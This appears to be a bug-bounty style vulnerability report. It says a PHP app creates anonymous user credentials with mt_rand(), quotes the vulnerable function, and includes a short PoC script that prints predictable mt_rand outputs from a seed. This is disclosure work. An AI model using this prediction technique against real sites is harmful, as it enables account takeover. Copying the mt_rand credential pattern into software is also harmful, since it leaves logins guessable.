✍️ Description

The random number generator implemented by mt_rand() cannot withstand a cryptographic attack. In this case the function that generates weak random numbers is mt_rand() in user.php at line 58.

🕵️‍♂️ Proof of Concept

Vulnerable Code

  /**
   * Create an anonymous user so we can log in and have access to everything
   * without having to spend the time creating an actual user.
   */
  public function create_anonymous_user() {
    $username = strtolower(sha1(uniqid(mt_rand(), true))); //mt_rand used
    $password = strtolower(sha1(uniqid(mt_rand(), true))); //mt_rand used
    $user = $this->create([
      'username' => $username,
      'password' => $password,
      'anonymous' => 1
    ]);
    $this->force_log_in($user['user_id']);
  }

POC

#POC.php

#!/usr/bin/env php
<?php

if($argc < 3)
{
    print($argv[0] . ' <seed> <n>' . "\n");
    print('' . "\n");
    print('Parameters:' . "\n");
    print('  seed:   Seed to initialize mt_rand() with' . "\n");
    print('  offset: Number of calls to mt_rand() before printing the first');
    print(' output' . "\n");
    print('' . "\n");
    print('Output:' . "\n");
    print('  <offset>\'s call to mt_rand() and <offset+227>\'s call');
    print(' to mt_rand()' . "\n");
    exit();
}

mt_srand($argv[1]);
for($i=0;$i<$argv[2];$i++)
    mt_rand();

print mt_rand() . " ";
for($i=0;$i<226;$i++)
    mt_rand();
print mt_rand() . "\n";

💥 Impact

Attacker can predict the possible anonymous username and passwords with full access.